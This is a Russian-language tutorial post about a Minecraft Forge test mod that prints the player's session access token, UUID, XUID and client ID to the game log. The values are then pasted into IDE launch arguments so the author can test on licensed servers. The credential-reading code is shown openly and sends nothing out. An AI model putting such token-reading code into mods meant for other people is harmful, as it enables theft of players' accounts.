package testmod; import net.minecraft.client.Minecraft; import net.minecraft.client.User; import net.minecraftforge.fml.common.Mod; @Mod("testmod") public class TestMod < public TestMod() < User user = Minecraft.getInstance().getUser(); System.out.println("NAME: " + user.getName()); System.out.println("UUID: " + user.getUuid()); System.out.println("TOKEN: " + user.getAccessToken()); System.out.println("XUUID: " + user.getXuid().orElse(null)); System.out.println("CLIENTID: " + user.getClientId().orElse(null)); System.out.println("TYPE: " + user.getType()); >>

Билдим мод в .jar и закидываем мод в папку mods .
Вторым шагом будет, включение опции "Открывать журнал при запуске" в официальном лаунчере (картинка ниже).

Screenshot_2.png

Запускаем игру с установленным Forge и с этим модом. Ждём загрузки.
Далее, в журнале надо строчку с фразой "Launching target 'forgeclient' with arguments. "
Далее, копируем строчку начиная с --uuid и заканчивая msa .
Достаём от туда следующее:

--uuid, XXXX, --username, USERNAME, --assetIndex, 2, --accessToken, . --clientId, XXXX, --xuid, XXXX, --userType, msa

Потом, убираем ковычки.

--uuid XXXX --username USERNAME --assetIndex 2 --accessToken . --clientId XXXX --xuid XXXX --userType msa

Вместо вопросительных знаков ставим токен из строчки "TOKEN: YYYY".

--uuid XXXX --username USERNAME --assetIndex 2 --accessToken YYYY --clientId XXXX --xuid XXXX --userType msa

И последним шагом, будет копирование полученной строчки в аргументы запуска в IDE.

Screenshot_3.png

И всё! Можно заходить в игру и даже заходить на лицензионные сервера!

Знаю, выгляден всё это странно и неудобно, но другие способы я не нашёл. Тем кому, надо смогут сделать и автоматических генератор этой строки.

Автор MaximPixel Просмотры 1,579 Первый выпуск 1 Янв 2023 Обновление 1 Янв 2023 Оценка 0.00 звёзд 0 оценок

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *